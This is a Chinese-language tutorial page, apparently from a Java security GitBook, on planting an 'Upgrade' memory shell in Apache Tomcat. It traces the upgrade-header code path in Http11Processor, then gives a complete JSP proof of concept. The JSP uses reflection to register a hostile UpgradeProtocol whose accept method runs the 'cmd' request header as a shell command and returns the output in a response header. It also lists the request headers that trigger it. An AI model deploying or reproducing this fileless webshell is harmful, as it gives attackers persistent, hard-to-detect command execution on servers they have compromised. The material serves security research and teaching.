> For the complete documentation index, see [llms.txt](https://p4d0rn.gitbook.io/java/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://p4d0rn.gitbook.io/java/memory-shell/tomcat-middlewares/upgrade.md).

# Tomcat-Upgrade

## 0x01 Previous Review

上篇的Executor内存马是在EndPoint下的，实际上Processor中也能找到内存马的植入点

![image-20230204104009226](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-14e638732ac15a4cfc18e03bebff2bf394042b52%2Fimage-20230204104009226.png?alt=media)

Processor负责处理字节流生成Tomcat Request 对象，将Tomcat Request对象传递给 Adapter。其实就是处理HTTP请求的，对应的类为`AbstractProcessorLight`

## 0x02 Analysis

`NioEndpoint#doRun`处理网络Socket连接，调用`AbstractProtocol$ConnectionHandler#process`

![image-20230204194027659](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-7309b35d3af877bec6ed3c91cd9479a330e666f4%2Fimage-20230204194027659.png?alt=media)

跟进看到，创建了一个`Http11Processor`（`AbstractProcessorLight`子类），并调用其process方法，跟进去看看

![image-20230204194544213](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-53e231e812f079faf2288a813d42af1ad555eb35%2Fimage-20230204194544213.png?alt=media)

![image-20230204195124117](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-41525db4a0a331c7357b5dd96120ad89b6369d87%2Fimage-20230204195124117.png?alt=media)

status为`OPEN_READ`，调用service方法

![image-20230204195506315](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-d7019bb88cf98aff48154f466768f6b85a14248f%2Fimage-20230204195506315.png?alt=media)

若请求的`Connection`头字段有Upgrade标志，且存在`Upgrade`头，首先通过`AbstractProtocol#getUpgradeProtocol`获取`UpgradeProtocol`对象，再调用其`accept`方法（利用点便在此）

![image-20230204195807803](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-31f61138a74cbc117f66bdb9b9765d5352b8af8a%2Fimage-20230204195807803.png?alt=media)

拿到Upgrade头字段后，通过`httpUpgradeProtocols.get(upgradeName)`获取`UpgradeProtocol`

![image-20230204200625102](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-5f5d11c44b3a3133dbd90e17a11c0cc183f77915%2Fimage-20230204200625102.png?alt=media)

所以接下来的关注点就在`httpUpgradeProtocols`

全局搜索`httpUpgradeProtocols`，发现`AbstractHttp11Protocol#configureUpgradeProtocol`往其添加`UpgradeProtocol`

![image-20230204201141244](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-7d38dc3e7362ab95bf5d223107c94ec4cf892176%2Fimage-20230204201141244.png?alt=media)

搜索发现`AbstractHttp11Protocol#init`中调用了`configureUpgradeProtocol`

![image-20230204201511121](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-6998bfe656c89a26505188a94c648c60c1bad0f7%2Fimage-20230204201511121.png?alt=media)

说明`httpUpgradeProtocols`是在Tomcat启动时被实例化的。

在当前上下文找到`AbstractHttp11Protocol`（上下文环境中会是`Http11NioProtocol`），通过反射往`httpUpgradeProtocols`加入我们自定义的`UpgradeProtocol`就行，`UpgradeProtocol`的`accept`方法加入恶意代码。

## 0x03 POC

### 构造恶意UpgradeProtocol

在`Http11Processor`的`process`方法中会检测`Connection`和`Upgrade`的头部字段，根据`Upgrade`头部字段获取`UpgradeProtocol`，调用其`accept`方法，参数是`org.apache.coyote.Request`，刚好能通过反射获取到response对象。

```java
public boolean accept(org.apache.coyote.Request request) {
    System.out.println("MyUpgrade.accept");
    String p = request.getHeader("cmd");
    try {
        String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
        Field response = org.apache.coyote.Request.class.getDeclaredField("response");
        response.setAccessible(true);
        Response resp = (Response) response.get(request);
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        resp.doWrite(ByteBuffer.wrap(result));
    } catch (Exception e){}
    return false;
}
```

反射修改`httpUpgradeProtocols`：

```jsp
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("p4d0rn", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
```

访问时需带上下面头字段：

> Upgrade: p4d0rn
>
> Connection: Upgrade
>
> cmd: calc

完整POC：

```jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
    public class MyUpgrade implements UpgradeProtocol {
        public String getHttpUpgradeName(boolean isSSLEnabled) {
            return "p4d0rn";
        }

        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        public String getAlpnName() {
            return null;
        }

        public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
            return null;
        }

        public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
            return null;
        }

        @Override
        public boolean accept(org.apache.coyote.Request request) {
            System.out.println("MyUpgrade.accept");
            String p = request.getHeader("cmd");
            System.out.println(p);
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
                System.out.println("hhhh");
                InputStream in = new ProcessBuilder(cmd).start().getInputStream();
                BufferedReader stdInput = new BufferedReader(new InputStreamReader(in));
                String s = "";
                String tmp = "";
                while ((tmp = stdInput.readLine()) != null) {
                    s += tmp;
                }
                resp.setHeader("Result", s);
            } catch (Exception e){
                System.out.println(e);
            }
            return false;
        }

    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    Field conn = Request.class.getDeclaredField("connector");
    conn.setAccessible(true);
    Connector connector = (Connector) conn.get(req);
    Field proHandler = Connector.class.getDeclaredField("protocolHandler");
    proHandler.setAccessible(true);
    AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
    HashMap<String, UpgradeProtocol> upgradeProtocols = null;
    Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
    upgradeProtocolsField.setAccessible(true);
    upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
    upgradeProtocols.put("p4d0rn", new MyUpgrade());
    upgradeProtocolsField.set(handler, upgradeProtocols);
%>
```

![image-20230204213657337](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-8dd294c8d6d622a894710589af28c5c4a5d50891%2Fimage-20230204213657337.png?alt=media)

参考：

[一种新的Tomcat内存马 - Upgrade内存马 - 跳跳糖 (tttang.com)](https://tttang.com/archive/1709/)

[初探Upgrade内存马(内存马系列篇六) - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/345119.html)
